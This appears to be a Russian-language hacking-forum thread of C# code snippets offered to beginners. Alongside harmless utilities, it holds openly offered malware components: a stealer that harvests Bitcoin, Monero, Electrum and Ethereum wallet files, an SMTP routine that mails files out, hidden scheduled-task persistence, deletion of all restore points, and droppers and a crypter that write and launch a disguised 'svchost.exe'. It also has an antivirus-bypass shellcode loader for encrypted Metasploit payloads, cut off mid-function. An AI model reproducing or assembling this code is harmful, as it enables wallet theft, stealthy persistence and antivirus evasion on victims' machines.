Создадим класс NativeMethods.cs
C#:Copy to clipboard
internal static class NativeMethods
{
#region For Refresh WinExplorer
[DllImport("user32")]
public static extern int PostMessage(IntPtr hwnd, int msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32", CharSet = CharSet.Unicode)]
public static extern IntPtr FindWindow(string className, string caption);
[DllImport("user32", CharSet = CharSet.Unicode)]
public static extern IntPtr FindWindowEx(IntPtr parent, IntPtr startChild, string className, string caption);
#endregion
}
Создадим класс RefreshExp.cs
C#:Copy to clipboard
public class RefreshExp
{
public static void Inizialize()
{
IntPtr d = NativeMethods.FindWindow("Progman", "Program Manager");
d = NativeMethods.FindWindowEx(d, IntPtr.Zero, "SHELLDLL_DefView", null);
d = NativeMethods.FindWindowEx(d, IntPtr.Zero, "SysListView32", null);
NativeMethods.PostMessage(d, 0x100, new IntPtr(0x74), IntPtr.Zero);
NativeMethods.PostMessage(d, 0x101, new IntPtr(0x74), new IntPtr(1 << 31));
}
}
Теперь достаточно будет вызвать метод: RefreshExp.Inizialize();
Для чего это нужно?
Допустим мы хотим зайти в реестр и убрать видимость скрытых папок, но после
изменения значения ничего не происходит пока пользователь не обновит проводник
вручную.
Для этого и создана эта функция чтобы можно было автоматически обновить
проводник windows.
Заметил что часто начинающие кодеры не умеют правильно пользоваться функцией по запуску файла через Process.Start и поэтому решил сделать вот такой вот простой метод для запуска.
C#:Copy to clipboard
/* Author r3xq1 */
public static bool RunFile(string filename)
{
if (!string.IsNullOrWhiteSpace(filename)) // Проверка на пустую строку
{
try
{
var PwsHide = ProcessWindowStyle.Hidden; // Задаём параметры скрытый запуск ( по желанию можно убрать )
var startInfo = new ProcessStartInfo
{
FileName = filename, // Имя запускаемого файла через аргументы
CreateNoWindow = false, // Не создаём окно
WindowStyle = PwsHide // Применяем параметры для сокрытия файла
// Аргументы можно так же передавать тут.
};
using (Process info = Process.Start(startInfo)) { info.Refresh(); } // Запускаем файл.
return true; // В случае успеха возвращаем true
}
catch (Exception) { return false; } // В случае ошибки возвращаем false
}
return true;
}
Вот и всё дальше просто запускаете: RunFile("Путь к вашему файлу");
Класс для отправки сообщения на почту Mail.ru - Gmail и.т.д сервера.
Для начала создадим класс EmailChecker.cs - Отвечает за проверку Http/Https
C#:Copy to clipboard
namespace SmtpMessage
{
using System.Text.RegularExpressions;
public class EmailChecker
{
public static bool CheckValidAddress(string emailInput)
{
var _regex = new Regex(@"^([a-zA-Z0-9_\-\.]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$",
RegexOptions.CultureInvariant | RegexOptions.Compiled);
return _regex.IsMatch(emailInput) ? true : false;
}
}
}
И создадим класс EmailSender.cs - Отвечает за отправку
Весь код прокомментирован!
C#:Copy to clipboard
/* Author r3xq1 */
namespace SmtpMessage
{
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Net.Security;
using System.Security.Cryptography.X509Certificates;
using System.Text;
public class EmailSender
{
// Сначала добавляем в List все файлы из определённых папок
private static readonly List<string> AttachFiles = new List<string>
{
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "f7e4a4595e9ff8ce.png"),
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "photo_2019-07-06_09-29-58.jpg"),
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Dazhe_Sigareta_Vypala.gif")
};
/// <summary>
/// Метод для отправки сообщения на почтовый сервер
/// </summary>
/// <param name="login">Ваш логин от почты</param>
/// <param name="displayname">Отображаемое имя вместо почты пользователя</param>
/// <param name="password">Ваш пароль от почты</param>
/// <param name="to">Кому отправлять</param>
/// <param name="logo">Тело сообщения</param>
/// <param name="server">Сервер почты</param>
/// <param name="port">Порт почты</param>
/// <param name="time">Таймаут ожидания для отправки</param>
/// <returns></returns>
public static bool Inizialize(string login, string displayname, string password, string to, string logo, string server, int port, int time)
{
try
{
using (var mess = new MailMessage())
{
mess.From = new MailAddress(login, displayname, Encoding.UTF8); // Адрес отправителя, Отображаемое имя ( за место почты )
mess.To.Add(new MailAddress(to, null, Encoding.UTF8)); // Адрес получателя
mess.Subject = Environment.UserName; // Тема сообщения
mess.SubjectEncoding = Encoding.UTF8; // Кодировка UTF-8 для темы сообщения
mess.BodyEncoding = Encoding.UTF8; // Кодировка UTF-8 для тела сообщения
mess.Body = logo; // Текст сообщения
mess.IsBodyHtml = true; // Сообщение в формате html
mess.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure; // Уведомление если доставка неудачна
// Проходимся в цикле по List<string>
for (int i = 0; i < AttachFiles.Count; i++)
{
mess.Attachments.Add(new Attachment(AttachFiles[i])); // Добавляем файлы для отправки
}
using (var client = new SmtpClient($"smtp.{server}", port)) // Задаём параметры сервера и порта для Smtp клиента
{
// Ssl3 - Используется для защиты транспортного уровня интернет соединений вместе с TLSv1 / 1.1 / 1.2.
// По желанию если работает без него можно исключить.
ServicePointManager.ServerCertificateValidationCallback += ValidateRemoteCertificate;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Ssl3;
// ServicePointManager.SecurityProtocol &= ~SecurityProtocolType.Ssl3; - Для отключения
client.EnableSsl = true; // Включаем SSL шифрование
client.DeliveryMethod = SmtpDeliveryMethod.Network; // Обработка сообщения через Smtp сервер
client.UseDefaultCredentials = false; // Это просто флаг, указывающий SMTPClient использовать учетные данные, предоставленные для свойства Credentials.
client.Timeout = time; // Ожидание перед отправкой Client.Send
client.Credentials = new NetworkCredential(login, password); // Авторизация в почте
try
{
client?.Send(mess); // Отправка сообщения на почту
return true;
}
catch (Exception sendex)
{
File.WriteAllText("Error_SendMessage.txt", sendex.Message);
return false;
}
}
}
}
catch (Exception ex)
{
File.WriteAllText("Error_MailMessage.txt", ex.Message);
return false;
}
}
/// <summary>
/// Метод для проверки удалённого сертификата
/// </summary>
private static bool ValidateRemoteCertificate(object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors error) =>
error == SslPolicyErrors.None ? true : false;
}
}
Вызываем отправку:
C#:Copy to clipboard
namespace SmtpMessage
{
using System;
internal static class Program
{
public static void Main()
{
string Email_From = "ВашЛогин@mail.ru", Email_To = "КомуОтправлять@mail.ru";
if (EmailChecker.CheckValidAddress(Email_From) || EmailChecker.CheckValidAddress(Email_To)) // Если почты корректны продолжаем
{
EmailSender.Inizialize(Email_From, "Fake", "Пароль от почты", Email_To, "Hello", "mail.ru", 587, 7000);
}
Console.ReadKey();
}
}
}
[Примечание]
Если используете просто отправку сообщением то время ожидания ставьте от 7000
Если же используете с добавлением файлов то время ожидания ставьте от 12000
В противном случае получите ошибку что "время ожидания истекло ".
Создаём класс RunCheck.cs
C#:Copy to clipboard
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;
public class RunCheck
{
public static bool InstanceCheck()
{
Assembly assembly = typeof(Program).Assembly;
var attribute = (GuidAttribute)assembly.GetCustomAttributes(typeof(GuidAttribute), true)[0];
string id = attribute.Value;
new Mutex(true, id, out bool isNew); return isNew;
}
}
Использовать его можно так:
C#:Copy to clipboard
if (RunCheck.InstanceCheck())
{
// Ваш код...
}
else
{
Environment.Exit(0);
}
За место Random используйте всегда RNGCryptoServiceProvider или
RandomNumberGenerator Они более безопасны в использование.
P.S: Генерация случайных чисел в
.Net
C#:Copy to clipboard
/* Author r3xq1 */
namespace MoreInfoTest.RandomClass
{
using System;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
public class GenRandomString
{
private static readonly char[] AvailableCharacters =
{
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '-', '_'
};
// OutPut: uqlseSTR88znYK6XkkX4gnk4XKVoAT1ScZ1wjRCG
internal static string GenerateIdentifier(int length)
{
char[] identifier = new char[length];
byte[] randomData = new byte[length];
using (var rng = new RNGCryptoServiceProvider())
{
rng.GetBytes(randomData);
}
for (int idx = 0; idx < identifier.Length; idx++)
{
identifier[idx] = AvailableCharacters[randomData[idx] % AvailableCharacters.Length];
}
return new string(identifier);
}
// OutPut: bKdkeZXx3tUxUZmOgGxQoXlRncCpGszgZenKU9PF
internal static string RandomString(int length)
{
const string ALPHABIT = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
var res = new StringBuilder();
using (var rng = new RNGCryptoServiceProvider())
{
byte[] uintBuffer = new byte[sizeof(uint)];
while (length-- > 0)
{
rng.GetBytes(uintBuffer);
uint num = BitConverter.ToUInt32(uintBuffer, 0);
res.Append(ALPHABIT[(int)(num % (uint)ALPHABIT.Length)]);
}
}
return res?.ToString();
}
// OutPut: DF-16-CD-28-31-F8-E2-D1-FF-B9-28-3D-7F-9C-8F-88
internal static string GenNumber()
{
using (var rnd = RandomNumberGenerator.Create())
{
byte[] buffer = new byte[16];
rnd.GetBytes(buffer);
return BitConverter.ToString(buffer);
}
}
// OutPut: zV6rzn7LJhcFdUbzvOow66ouRlYrL36EbB4vDMwjW
internal static string GenerateRandomSecret()
{
char[] validChars = Enumerable.Range('A', 26).Concat(Enumerable.Range('a', 26)).Concat(Enumerable.Range('0', 10)).Select(i => (char)i).ToArray();
byte[] randomByte = new byte[0x40 + 1];
using (var rnd = new RNGCryptoServiceProvider())
{
rnd.GetBytes(randomByte);
int secretLength = 0x20 + (int)(0x20 * (randomByte[0] / (double)byte.MaxValue));
return new string(randomByte.Skip(1).Take(secretLength).Select(b => (int)((validChars.Length - 1) * (b / (double)byte.MaxValue))).Select(i => validChars[i]).ToArray());
}
}
// OutPut: 304e0c4789d1ffeec4114350be24aee5d8211cb6ced59f2cc399db4819f9a08c
internal static string GenToken()
{
using (var rng = new RNGCryptoServiceProvider())
{
byte[] randomBuffer = new byte[16];
rng.GetBytes(randomBuffer);
using (var md5 = SHA256.Create())
{
byte[] hashBytes = md5.ComputeHash(randomBuffer);
var sBuilder = new StringBuilder();
foreach (byte byt in hashBytes)
{
sBuilder.Append(byt.ToString("x2"));
}
return sBuilder?.ToString();
}
}
}
}
}
Время выполнения каждого метода:
C#:Copy to clipboard
Console.WriteLine(RandomClass.GenRandomString.RandomString(40)); // 3,2702 ms
Console.WriteLine(RandomClass.GenRandomString.GenerateIdentifier(40)); // 2,6839 ms
Console.WriteLine(RandomClass.GenRandomString.GenerateRandomSecret()); // 26,6338 ms
Console.WriteLine(RandomClass.GenRandomString.GenNumber()); // 7,2761 ms
Console.WriteLine(RandomClass.GenRandomString.GenToken()); // 10,223 ms
Когда-то писал стиллер и нужно было собрать файлы Wallet.dat с каждой папки
битков.
Делайте под себя =)
Код нужно переделывать, антивири дикие просто палят жестко )
C#:Copy to clipboard
namespace BitSort
{
using Microsoft.Win32;
using System;
using System.IO;
/* Author r3xq1 */
public class BitBoard
{
public static void GetWallet()
{
#region Get Bitcoin
using (var Bit = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
{
using (RegistryKey Key = Bit.OpenSubKey(BitcoinQT, Environment.Is64BitOperatingSystem ? true : false))
{
using (RegistryKey Key2 = Bit.OpenSubKey(BitcointQT_x64, Environment.Is64BitOperatingSystem ? true : false))
{
CopyFiles("Bitcoin", Path.Combine(Key?.GetValue("strDataDir")?.ToString(), "wallet.dat") ?? Path.Combine(Key2?.GetValue("Path")?.ToString(), "Space", "wallet.dat"));
}
}
}
#endregion
#region Get Litecoin
using (var Lite = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
{
using (RegistryKey Key = Lite.OpenSubKey(LitecoinQt, Environment.Is64BitOperatingSystem ? true : false))
{
CopyFiles("Litecoin", Path.Combine(Key?.GetValue("strDataDir")?.ToString(), "wallet.dat"));
}
}
#endregion
#region Get Dashcoin
using (var Dash = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
{
using (RegistryKey Key = Dash.OpenSubKey(DashcoinQt, Environment.Is64BitOperatingSystem ? true : false))
{
CopyFiles("Dashcoin", Path.Combine(Key?.GetValue("strDataDir")?.ToString(), "wallet.dat"));
}
}
#endregion
#region Get Bytecoin
using (var Byte = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
{
using (RegistryKey Key = Byte.OpenSubKey(Bytecoint, Environment.Is64BitOperatingSystem ? true : false))
{
CopyFiles("Bytecoin", Path.Combine(Key?.GetValue("_2E72A52970B140DDB9F00AE0E5908B94")?.ToString(), "wallet.dat"));
}
}
#endregion
#region Get Monero
using (var Monero = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
{
using (RegistryKey Key = Monero.OpenSubKey(Monerocoin, Environment.Is64BitOperatingSystem ? true : false))
{
try
{
string kk = Key?.GetValue("wallet_path")?.ToString().Replace("/", @"\");
string reslts = kk.Substring(0, kk.LastIndexOf("\\"));
string final = reslts.Substring(0, reslts.LastIndexOf("\\"));
MassEnumerate("Monero", final, "*.*");
}
catch { }
}
}
#endregion
#region Get Electrum
MassEnumerate("Electrum", Path.Combine(GlobalPath.AppData, @"Electrum\wallets"), "*.*");
#endregion
#region Get Ethereum
MassEnumerate("Ethereum", Path.Combine(GlobalPath.AppData, @"Ethereum\keystore"), "*.*");
#endregion
}
#region Helpers
private static void CopyFiles(string dir, string path)
{
if (File.Exists(path))
{
try
{
string fd = Path.Combine(GlobalPath.User_Name, dir);
Directory.CreateDirectory(fd);
int size = 0;
if (!(new FileInfo(path).Length == size))
{
File.Copy(path, Path.Combine(fd, Path.GetFileName(path)), true);
}
}
catch { }
}
}
private static void MassEnumerate(string to, string from, string pattern)
{
try
{
foreach (string files in Directory.EnumerateFiles(from, pattern, SearchOption.AllDirectories))
{
if (!File.Exists(files))
{
continue;
}
else
{
CopyFiles(to, files);
}
}
}
catch (Exception) { }
}
#endregion
#region Variables Path
private static readonly string BitcoinQT = @"Software\Bitcoin\Bitcoin-Qt";
private static readonly string BitcointQT_x64 = @"Software\Bitcoin Core (64-bit)";
private static readonly string LitecoinQt = @"Software\Litecoin\Litecoin-Qt";
private static readonly string DashcoinQt = @"Software\Dash\Dash-Qt";
private static readonly string Bytecoint = @"Software\Bytecoin Developers\Bytecoin\{BB770F1D-DC20-AD6C-30F3-1271CA1089E1}";
private static readonly string Monerocoin = @"Software\monero-project\monero-core";
#endregion
}
}
Класс GlobalPath.cs - в котором хранятся все пути:
C#:Copy to clipboard
public class GlobalPath
{
public static readonly string AssemblyPath = Assembly.GetExecutingAssembly().Location;
public static readonly string AppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
public static readonly string LocalAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
public static readonly string StartupPath = Path.GetDirectoryName(AssemblyPath);
public static readonly string DefaultTemp = string.Concat(Environment.GetEnvironmentVariable("temp"), '\\');
public static readonly string User_Name = string.Concat(DefaultTemp, Environment.UserName);
}
Создадим метод Scheduler
C#:Copy to clipboard
/* Author r3xq1 */
/// <summary>
/// Метод для добавления программы в автозагрузку через Планировщик задач
/// </summary>
/// <param name="status">Выбор функции Добавить/Удалить задачу</param>
/// <param name="timeset">Выбор таймера по минутам</param>
/// <param name="count">Время запуска программы</param>
/// <param name="priority">Приоритет процесса</param>
/// <param name="taskname">Имя Задачи</param>
/// <param name="filepath">Путь к файлу который запускается в задаче</param>
/// <returns></returns>
public static bool Scheduler(bool status, string timeset, int count, string priority, string taskname, string filepath)
{
if (string.IsNullOrWhiteSpace(taskname) || string.IsNullOrWhiteSpace(filepath)) return false;
ProcessWindowStyle PwsHide = ProcessWindowStyle.Hidden;
ProcessStartInfo startInfo = new ProcessStartInfo
{
FileName = "schtasks.exe",
CreateNoWindow = false,
WindowStyle = PwsHide
};
switch (status) // можно сделать через if кому как удобнее.
{
// Добавляет запись в планировщик
case true: startInfo.Arguments = string.Concat("/create /sc ", timeset, " /mo ", count, " /rl ", priority, " /tn ", taskname, " /tr ", filepath, " /f"); break;
// Удаляет запись из планировщика
case false: startInfo.Arguments = string.Concat("/delete /tn ", taskname, " /f"); break;
}
try
{
using (Process info = Process.Start(startInfo)) { info.Refresh(); info.WaitForExit(); }
}
catch (Exception) { } startInfo = null; return true;
}
Вызывается так:
C#:Copy to clipboard
Scheduler(false, "minute", 1, "highest", "NotepadTEST", string.Concat("\"", App, "\"")); // Где App это путь к вашему файлу.
Создаём класс NativeMethods.cs запишем в него функцию [SRRemoveRestorePoint](https://href.li/?https://docs.microsoft.com/en- us/windows/win32/api/srrestoreptapi/nf-srrestoreptapi-srremoverestorepoint)
C#:Copy to clipboard
internal static class NativeMethods
{
[DllImport("Srclient.dll")]
public static extern int SRRemoveRestorePoint(int index);
}
Создаём класс SysStore.cs
P.S: Не забываем подключить ссылку System.Management
C#:Copy to clipboard
using System;
using System.Management;
/* Author r3xq1 */
public class SysStore
{
public static void Inizialize()
{
try
{
using (ManagementObjectCollection searcher = new ManagementObjectSearcher("root\\DEFAULT", "SELECT * FROM SystemRestore").Get())
{
foreach (ManagementBaseObject collection in searcher)
{
int point = Convert.ToInt32(((uint)collection["sequencenumber"]).ToString());
NativeMethods.SRRemoveRestorePoint(point);
}
}
}
catch (Exception) { }
}
}
Далее просто вызываем в любом месте метод SysStore.Inizialize();
C#:Copy to clipboard
namespace RestorePoints
{
using System;
internal static partial class Program
{
[STAThread]
public static void Main()
{
SysStore.Inizialize();
Console.ReadKey(true);
}
}
}
После запуска в системе не будет ни одной записи для восстановления системы.
В работе использовался windows'кий инструмент: wbemtest.exe
C#:Copy to clipboard
namespace UniversallHD
{
using System;
using System.Management;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
public class HardwareID
{
public static string GET_ID = ReturnHWID().Result;
private static async Task<string> ReturnHWID()
{
var Sb = new StringBuilder();
Task.WaitAll((Task)Task.Run(() =>
{
using (ManagementObjectCollection ProcessorWin = new ManagementObjectSearcher("SELECT * FROM Win32_Processor").Get())
{
foreach (ManagementObject obj in ProcessorWin)
{
Sb.Append(obj["ProcessorId"].ToString().Substring(0, 4));
break;
}
}
using (ManagementObjectCollection BiosWin = new ManagementObjectSearcher("SELECT * FROM Win32_BIOS").Get())
{
foreach (ManagementObject bios_Collection in BiosWin)
{
Sb.Append(bios_Collection["Version"].ToString().Substring(0, 4));
break;
}
}
using (ManagementObjectCollection HardDrive = new ManagementObjectSearcher("SELECT * FROM Win32_DiskDrive").Get())
{
foreach (ManagementObject hdd_Collection in HardDrive)
{
Sb.Append(hdd_Collection["Signature"].ToString().Substring(0, 4));
break;
}
}
}));
try
{
byte[] bytes, hashedBytes;
bytes = Encoding.UTF8.GetBytes(Sb?.ToString());
using (var Hash = SHA256.Create())
{
hashedBytes = Hash.ComputeHash(bytes);
}
return await Task.FromResult(Convert.ToBase64String(hashedBytes).Substring(0x19));
}
catch { return GET_ID; }
}
}
}
В главном классе вызов:
C#:Copy to clipboard
namespace UniversallHD
{
using System;
using System.Text;
internal static partial class Program
{
public static void Main()
{
Console.OutputEncoding = Encoding.UTF8;
Console.Title = "Уникальный ключ HWID";
Console.WriteLine($"Ваш ключ: {HardwareID.GET_ID}");
Console.ReadKey();
Console.Clear();
Main();
}
}
}
В конечном итоге получим уникальный ключ HWID )
Есть два простеньких методов дропа, можете осуждать, может новичкам пригодится
конвертируете base64, где то около 5 антивирусов считают метод вредоносным в
проактиве(eset,avira,и другие) обфускация сильно защищает от скантайма,
впрочем можно назвать лоадером, простая реализация Writeallbyte для тех кто
только вошел в сферу, конечно для тех кто чуть более шарит дерьмо, но для
новичкам более менее
You must have at least 2 reaction(s) to view the content.
самое простое
C#:Copy to clipboard
using System;
using System.IO;
using System.Diagnostics;
namespace PsevdoSoftware
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
string EncryptedFile = "ваш код base64";
try
{
var dFB = Convert.FromBase64String(EncryptedFile);
File.WriteAllBytes(@"C:\ProgramData\Parasha.exe", dFB);
}
catch
{
}
}
}
}
чуть по сложнее структурой... C BASE64 не связан просто скинул...
C#:Copy to clipboard
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using Microsoft.Win32;
namespace RexCry
{
class Program
{
static byte[] ftocrypt, OBIHAS, bhas12457905137ms;
static string ambopa;
static int bmio124;
static string MiNsp11nvb6 = "==KUTAZ==";
static void Main(string[] args)
{
FileInfo f = new FileInfo(System.AppDomain.CurrentDomain.FriendlyName);
long s1 = f.Length;
Console.WriteLine(s1);
if (s1 > 9216)
{
OBIHAS = File.ReadAllBytes(System.Reflection.Assembly.GetEntryAssembly().Location);
string nfsdfG = Convert.ToBase64String(OBIHAS);
string[] ASDGWa = nfsdfG.Split(new string[] { "PT1LVVRBWj09" }, StringSplitOptions.None);
byte[] nboia = Convert.FromBase64String(ASDGWa[1]);
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"/svchost.exe", Convert.FromBase64String(KJKAJSF(nboia)));
System.Diagnostics.Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)+ "/svchost.exe");
}
else
{
Console.WriteLine("Write path to file to encrypt:");
ambopa = Console.ReadLine();
ftocrypt = File.ReadAllBytes(ambopa);
OBIHAS = File.ReadAllBytes(System.Reflection.Assembly.GetEntryAssembly().Location);
bhas12457905137ms = asddwg2yh43(OBIHAS, Encoding.ASCII.GetBytes(MiNsp11nvb6));
bhas12457905137ms = asddwg2yh43(bhas12457905137ms, ENCASFD531(ftocrypt));
bmio124 = OBIHAS.Length;
File.WriteAllBytes("file.exe",bhas12457905137ms);
Console.ReadKey();
}
}
public static IEnumerable<int> PatternAt(byte[] source, byte[] pattern)
{
for (int i = 0; i < source.Length; i++)
{
if (source.Skip(i).Take(pattern.Length).SequenceEqual(pattern))
{
yield return i;
}
}
}
static byte[] asddwg2yh43(byte[] arrayA, byte[] arrayB)
{
byte[] outputBytes = new byte[arrayA.Length + arrayB.Length];
Buffer.BlockCopy(arrayA, 0, outputBytes, 0, arrayA.Length);
Buffer.BlockCopy(arrayB, 0, outputBytes, arrayA.Length, arrayB.Length);
return outputBytes;
}
static byte[] ENCASFD531(byte[] tobyas)
{
string bs56721 = Convert.ToBase64String(tobyas);
string eckasdf = MASFGKU.NBOASaa(bs56721, "1234");
byte[] bnpiwro = Encoding.ASCII.GetBytes(eckasdf);
return bnpiwro;
}
static string KJKAJSF(byte[] asf14na)
{
string BNIOWJNEASGIJDVNL = Encoding.UTF8.GetString(asf14na);
string BNAO = MASFGKU.Bniaod(BNIOWJNEASGIJDVNL, "1234");
return BNAO;
}
}
public static class MASFGKU
{
private const string bnoa = "pemgail9uzpgzl88";
private const int basiop = 256;
public static string NBOASaa(string ABNPA, string PSAWFG)
{
byte[] IBAJSDB = Encoding.UTF8.GetBytes(bnoa);
byte[] aSNOBIA = Encoding.UTF8.GetBytes(ABNPA);
PasswordDeriveBytes ABNIOP = new PasswordDeriveBytes(PSAWFG, null);
byte[] keyBytes = ABNIOP.GetBytes(basiop / 8);
RijndaelManaged NMPOAbmKAOP = new RijndaelManaged();
NMPOAbmKAOP.Mode = CipherMode.CBC;
ICryptoTransform BIONAHIAJIA = NMPOAbmKAOP.CreateEncryptor(keyBytes, IBAJSDB);
MemoryStream MABHIOP = new MemoryStream();
CryptoStream JOPBAJHNOIA = new CryptoStream(MABHIOP, BIONAHIAJIA, CryptoStreamMode.Write);
JOPBAJHNOIA.Write(aSNOBIA, 0, aSNOBIA.Length);
JOPBAJHNOIA.FlushFinalBlock();
byte[] BONAIOBJIOPAADIOBIOA = MABHIOP.ToArray();
MABHIOP.Close();
JOPBAJHNOIA.Close();
return Convert.ToBase64String(BONAIOBJIOPAADIOBIOA);
}
public static string Bniaod(string abnioai, string gbnasj15318)
{
byte[] pyh378efnv7 = Encoding.UTF8.GetBytes(bnoa);
byte[] nbso4314 = Convert.FromBase64String(abnioai);
PasswordDeriveBytes mn954sdvs = new PasswordDeriveBytes(gbnasj15318, null);
byte[] keyBytes = mn954sdvs.GetBytes(basiop / 8);
RijndaelManaged sdggsgd1245s = new RijndaelManaged();
sdggsgd1245s.Mode = CipherMode.CBC;
ICryptoTransform dcvdasbnoi = sdggsgd1245s.CreateDecryptor(keyBytes, pyh378efnv7);
MemoryStream tiegpqoav = new MemoryStream(nbso4314);
CryptoStream bdnoia = new CryptoStream(tiegpqoav, dcvdasbnoi, CryptoStreamMode.Read);
byte[] rhwmnwiavjioaAAAAAAAAAAAAAAAA = new byte[nbso4314.Length];
int BBNAOIJHAUIOHIOAXBHIADJA = bdnoia.Read(rhwmnwiavjioaAAAAAAAAAAAAAAAA, 0, rhwmnwiavjioaAAAAAAAAAAAAAAAA.Length);
tiegpqoav.Close();
bdnoia.Close();
return Encoding.UTF8.GetString(rhwmnwiavjioaAAAAAAAAAAAAAAAA, 0, BBNAOIJHAUIOHIOAXBHIADJA);
}
}
}
Всем хай . как отправить клик в определенное окно ?
вот мой код
PostMessage(new HandleRef(null, WinGetHandle(textBox3.Text)),
(uint)WMessages.WM_LBUTTONDOWN, (IntPtr)((long)((ulong)1)), cursorpos);
cursorpos - координаты клика по X И Y
этот запрос не работает На Explorer а на другие окна работает в чем проблема?
простой обход Windows Defender, AVG, xVirus.
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
//функция bypass
namespace Loader
{
class Program
{public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };
public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };static void Main(string[] args)
{
String app_name = AppDomain.CurrentDomain.FriendlyName;
String usage = $"Usage: {app_name} <path_to_metasploit_payload>";if (args.Length == 1)
{
if (!File.Exists($@"{args[0]}"))
{
Console.WriteLine("[!] Error");
Environment.Exit(1);
}Console.WriteLine("_Error ");
// Read in MetaSploit Byte[] Code from File
String fileData = System.IO.File.ReadAllText($@"{args[0]}");
String tmp = (fileData.Split('{')[1]).Split('}')[0];// Перевести в byte массив
string[] s = tmp.Split(',');
byte[] data = new byte[s.Length];
for (int i = 0; i < data.Length; i++)
data _= byte.Parse(s _.Replace( "0x", ""), System.Globalization.NumberStyles.HexNumber);// Шифрование и кодирование данных:
byte[] e_data = Encrypt(data, key, iv);
String finalPayload = Convert.ToBase64String(e_data);
Console.WriteLine($"_Replace the hiphop variable with your new payload:\n\n\t String hiphop = " + '"' + $"{finalPayload}" + '"' + ';');Environment.Exit(0);
}
// работа с исключениями
else if (args.Length > 1)
{
Console.WriteLine(usage);
Environment.Exit(1);
}
// запуск нашей полезной нагрузки
else
{
// команда для msf "msfvenom -p windows/exe cmd=calc.exe -f csharp"
String hiphop = "ваша нагрузка ";byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);
nonsense(de_data);
}}
// Shell Code Loader
public static bool nonsense(byte[] shellcode)
{try
{
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);return true;
}
catch (Exception e)
{
Console.Error.WriteLine("exception: " + e.Message);
return false;
}
}// эксплуатирование shellcode в памяти
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;
aes.Padding = PaddingMode.Zeros;aes.Key = key;
aes.IV = iv;using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, encryptor);
}
}
}public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;
aes.Padding = PaddingMode.Zeros;aes.Key = key;
